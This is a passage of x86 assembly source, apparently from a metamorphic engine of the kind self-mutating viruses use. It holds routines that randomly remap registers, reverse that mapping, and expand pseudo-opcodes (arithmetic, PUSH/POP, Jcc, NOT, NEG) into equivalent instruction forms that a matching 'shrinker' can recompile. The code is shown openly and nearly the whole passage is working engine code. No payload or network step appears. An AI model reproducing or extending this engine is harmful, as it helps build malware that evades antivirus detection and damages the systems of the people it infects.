                cmp     ebx, 2
                jz    @@SetAt2
                cmp     ebx, 3
                jz    @@SetAt3
                cmp     ebx, 5
                jz    @@SetAt5
                cmp     ebx, 6
                jz    @@SetAt6
    @@SetAt7:   mov     [ebp+Xp_Register7], eax  ; Set for the register EBX
                jmp   @@ReturnNoError            ; the translation in EAX.
    @@SetAt0:   mov     [ebp+Xp_Register0], eax
                jmp   @@ReturnNoError
    @@SetAt1:   mov     [ebp+Xp_Register1], eax
                jmp   @@ReturnNoError
    @@SetAt2:   mov     [ebp+Xp_Register2], eax
                jmp   @@ReturnNoError
    @@SetAt3:   mov     [ebp+Xp_Register3], eax
                jmp   @@ReturnNoError
    @@SetAt5:   mov     [ebp+Xp_Register5], eax
                jmp   @@ReturnNoError
    @@SetAt6:   mov     [ebp+Xp_Register6], eax
                jmp   @@ReturnNoError
    @@ReturnError:
                xor     eax, eax     ; Return with FALSE if error
                ret
    @@ReturnNoError:
                mov     eax, 1       ; Return with TRUE if all OK
                ret
Xpand_SetRegister4Xlation endp


;; This function will translate the register in EAX by the corresponding
;; new register, also in EAX.
Xpand_TranslateRegister proc
                or      eax, eax  ; Jump to the corresponding variable usage.
                jz    @@Get0
                cmp     eax, 1
                jz    @@Get1
                cmp     eax, 2
                jz    @@Get2
                cmp     eax, 3
                jz    @@Get3
                cmp     eax, 4
                jz    @@Return    ; Return ESP for ESP (no translation).
                cmp     eax, 5
                jz    @@Get5
                cmp     eax, 6
                jz    @@Get6
                cmp     eax, 7
                jz    @@Get7
                mov     eax, 8  ; If the register is >= 8, return 8.
                ret
      @@Get7:   mov     eax, [ebp+Xp_Register7]  ; Get the translation and
                ret                              ; return.
      @@Get0:   mov     eax, [ebp+Xp_Register0]
                ret
      @@Get1:   mov     eax, [ebp+Xp_Register1]
                ret
      @@Get2:   mov     eax, [ebp+Xp_Register2]
                ret
      @@Get3:   mov     eax, [ebp+Xp_Register3]
                ret
      @@Get5:   mov     eax, [ebp+Xp_Register5]
                ret
      @@Get6:   mov     eax, [ebp+Xp_Register6]
      @@Return: ret
Xpand_TranslateRegister endp

;; This function returns the register in reverse translation, it means, the
;; register that the register in EAX is translated to. It's the inversed
;; operation that performs Xpand_TranslateRegister, so if we get a register,
;; we translate it with Xpand_TranslateRegister and we pass the result to
;; this function, we'll get the original register. This function is useful
;; to know which register we must use before the expansion when we want a
;; specific register in the expanded result.
Xpand_ReverseTranslation proc
                cmp     eax, 4
                jz    @@Return        ; Find the register in the register
                cmp     eax, [ebp+Xp_Register0] ; translation variables
                jz    @@Return0
                cmp     eax, [ebp+Xp_Register1]
                jz    @@Return1
                cmp     eax, [ebp+Xp_Register2]
                jz    @@Return2
                cmp     eax, [ebp+Xp_Register3]
                jz    @@Return3
                cmp     eax, [ebp+Xp_Register5]
                jz    @@Return5
                cmp     eax, [ebp+Xp_Register6]
                jz    @@Return6
                cmp     eax, [ebp+Xp_Register7]
                jz    @@Return7
                mov     eax, 8
      @@Return: ret                     ; When we find it, return the number
     @@Return0: xor     eax, eax        ; of register that uses that variable
                ret                     ; for translating itself.
     @@Return1: mov     eax, 1
                ret
     @@Return2: mov     eax, 2
                ret
     @@Return3: mov     eax, 3
                ret
     @@Return5: mov     eax, 5
                ret
     @@Return6: mov     eax, 6
                ret
     @@Return7: mov     eax, 7
                ret
Xpand_ReverseTranslation endp

;; To make a real metamorphism we have a way of coding every instruction, in
;; both instruction expansion and reassembling. So, we check all the possible
;; pseudo-opcodes and we make a formula for them. The formulas used here must
;; be recognized by the shrinker.
XpandThisInstruction proc
                mov     eax, [esi+0Bh]  ; Get the label
                mov     [edi+0Bh], eax  ; Copy it
                mov     [edi+0Ch], esi  ; Set the new pointers
                mov     [esi+0Ch], edi
                xor     eax, eax
                mov     al, [esi]       ; Get the opcode

                cmp     eax, 4Ch        ; Generic 32 bits operation?
                ja    @@Xpand_Next001   ; If not, jump
                xor     eax, eax
     @@Generic: mov     [ebp+Xp_8Bits], eax  ; Set the 8 bits flag (0 or 80h)
                mov     eax, [esi]
                and     eax, 78h             ; Get the operation
                mov     [ebp+Xp_Operation], eax ; Set it
                mov     eax, [esi]           ; Get the type of operation
                and     eax, 7
                or      eax, eax             ; OP Reg,Imm?
                jz    @@OPRegImm
                cmp     eax, 1               ; OP Reg,Reg?
                jz    @@OPRegReg
                cmp     eax, 2               ; OP Reg,Mem?
                jz    @@OPRegMem
                cmp     eax, 3               ; OP Mem,Reg?
                jz    @@OPMemReg
     @@OPMemImm:                             ; OP Mem,Imm
                mov     eax, [ebp+Xp_8Bits]  ; Get the 8 bits flag
                or      eax, eax             ; If 0, jump
                jz    @@OPMemImm32
                mov     eax, [esi+7]         ; Get the Imm
                and     eax, 0FFh            ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@OPMemImmSet
                or      eax, 0FFFFFF00h
                jmp   @@OPMemImmSet          ; Set the value
     @@OPMemImm32:
                mov     eax, [esi+7]         ; Get the normal value if 32 bits
     @@OPMemImmSet:
                mov     [ebp+Xp_Immediate], eax ; Set the immediate
                call    Xpand_SetMemoryAddress  ; Copy the mem. address ref.
                                             ; (translating the indexes also)
                call    Xp_GenOPMemImm       ; Generate an OP Mem,Imm
                jmp   @@Ret
     @@OPRegImm:
                mov     eax, [ebp+Xp_8Bits]  ; Extend the sign for 8 bits
                or      eax, eax             ; operations
                jz    @@OPRegImm32
                mov     eax, [esi+7]
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@OPRegImmSet
                or      eax, 0FFFFFF00h
                jmp   @@OPRegImmSet
       @@OPRegImm32:
                mov     eax, [esi+7]
       @@OPRegImmSet:
                mov     [ebp+Xp_Immediate], eax  ; Set the immediate
                mov     eax, [esi+1]             ; Get the register
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate it to the new one
                mov     [ebp+Xp_Register], eax   ; Set it
                call    Xp_GenOPRegImm           ; Generate an OP Reg,Imm
                jmp   @@Ret
     @@OPRegReg:
                mov     eax, [esi+1]             ; Get the source register
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate it and set it
                mov     [ebp+Xp_SrcRegister], eax
                mov     eax, [esi+7]             ; Get the destiny register
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate it and set it
                mov     [ebp+Xp_Register], eax
                call    Xp_GenOPRegReg           ; Generate an OP Reg,Reg
                jmp   @@Ret
     @@OPRegMem:
                call    Xpand_SetMemoryAddress   ; Copy the memory address
                mov     eax, [esi+7]             ; (with indexes translation)
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate the destiny reg.
                mov     [ebp+Xp_Register], eax   ; Set it
                call    Xp_GenOPRegMem           ; Generate an OP Reg,Mem
                jmp   @@Ret
     @@OPMemReg:
                call    Xpand_SetMemoryAddress   ; Copy the memory address
                mov     eax, [esi+7]             ; (with indexes translation)
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate the source reg.
                mov     [ebp+Xp_Register], eax
                call    Xp_GenOPMemReg           ; Generate an OP Mem,Reg
                jmp   @@Ret

   @@Xpand_Next001:
                cmp     eax, 00h+80h        ; Get if it's a 8 bits generic
                jb    @@Xpand_Next002       ; operation
                cmp     eax, 4Ch+80h
                ja    @@Xpand_Next002
                mov     eax, 80h            ; If it is, set "8 bits usage"
                jmp   @@Generic             ; (value 80h in [Xp_8Bits]) and
                                            ; jump to make the operation

   @@Xpand_Next002:
                cmp     eax, 50h                ; PUSH Reg?
                jnz   @@Xpand_Next003
                mov     eax, [esi+1]            ; Then, translate the register
                and     eax, 0FFh               ; and set it in the
                call    Xpand_TranslateRegister ; corresponding field
                mov     [ebp+Xp_Register], eax
                call    Xp_GenPUSHReg           ; Generate a PUSH Reg
                jmp   @@Ret

   @@Xpand_Next003:
                cmp     eax, 51h               ; PUSH Mem?
                jnz   @@Xpand_Next004
                call    Xpand_SetMemoryAddress ; Then, set the memory address
                xor     eax, eax               ; (with index translation),
                mov     [ebp+Xp_8Bits], eax    ; clear the "8 bits" flag and
                call    Xp_GenPUSHMem          ; generate the PUSH Mem.
                jmp   @@Ret

   @@Xpand_Next004:
                cmp     eax, 58h                ; POP Reg?
                jnz   @@Xpand_Next005
                mov     eax, [esi+1]            ; Translate the register, set
                and     eax, 0FFh               ; it into the working field
                call    Xpand_TranslateRegister ; and generate a POP Reg
                mov     [ebp+Xp_Register], eax
                call    Xp_GenPOPReg
                jmp   @@Ret

   @@Xpand_Next005:
                cmp     eax, 59h               ; POP Mem?
                jnz   @@Xpand_Next006
                call    Xpand_SetMemoryAddress ; Then, copy the memory address
                xor     eax, eax               ; with index translation, clear
                mov     [ebp+Xp_8Bits], eax    ; the "8 bits" flag and call
                call    Xp_GenPOPMem           ; the function to generate a
                jmp   @@Ret                    ; POP Mem.

   @@Xpand_Next006:
                cmp     eax, 68h               ; PUSH Imm?
                jnz   @@Xpand_Next007
                mov     eax, [esi+7]           ; Set the immediate
                mov     [ebp+Xp_Immediate], eax
                call    Xp_GenPUSHImm          ; Generate a PUSH Imm
                jmp   @@Ret

   @@Xpand_Next007:
                cmp     eax, 70h               ; Jcc?
                jb    @@Xpand_Next008
                cmp     eax, 7Fh
                ja    @@Xpand_Next008
                mov     [ebp+Xp_Operation], eax ; Set the type of conditional
                mov     eax, [esi+1]            ; jump in the operation field
                mov     [ebp+Xp_Immediate], eax ; and the label in the
                call    Xp_GenJcc               ; Imm field, and generate it.
                jmp   @@Ret

   @@Xpand_Next008:
                cmp     eax, 0E0h              ; NOT Reg?
                jnz   @@Xpand_Next009
                call    Xpand_SetRegister      ; Then, translate and set the
                call    Xp_GenNOTReg           ; 32 bits register and generate
                jmp   @@Ret                    ; a NOT Reg

   @@Xpand_Next009:
                cmp     eax, 0E1h              ; NOT Mem?
                jnz   @@Xpand_Next010
                call    Xpand_SetMemoryAddress ; Then, copy and translate the
                xor     eax, eax               ; memory address and indexes,
                mov     [ebp+Xp_8Bits], eax    ; set "32 bits usage" and
                call    Xp_GenNOTMem           ; generate a NOT Mem
                jmp   @@Ret

   @@Xpand_Next010:
                cmp     eax, 0E2h              ; NOT Reg8?
                jnz   @@Xpand_Next011
                call    Xpand_Set8BitsRegister ; Then, translate and set the
                call    Xp_GenNOTReg           ; 8 bits register and generate
                jmp   @@Ret                    ; a NOT Reg8

   @@Xpand_Next011:
                cmp     eax, 0E3h              ; The same as with E1 (NOT Mem)
                jnz   @@Xpand_Next012          ; but with 8 bits operands.
                call    Xpand_SetMemoryAddress
                mov     eax, 80h
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenNOTMem
                jmp   @@Ret

   @@Xpand_Next012:
                cmp     eax, 0E4h              ; NEG Reg?
                jnz   @@Xpand_Next013
                call    Xpand_SetRegister      ; Then, translate the register,
                call    Xp_GenNEGReg           ; set it and generate the op.
                jmp   @@Ret

   @@Xpand_Next013:
                cmp     eax, 0E5h              ; NEG Mem?
                jnz   @@Xpand_Next014
                call    Xpand_SetMemoryAddress ; Copy the address, translate
                xor     eax, eax               ; the indexes, set "32 bits"
                mov     [ebp+Xp_8Bits], eax    ; flag and generate the instrc.
                call    Xp_GenNEGMem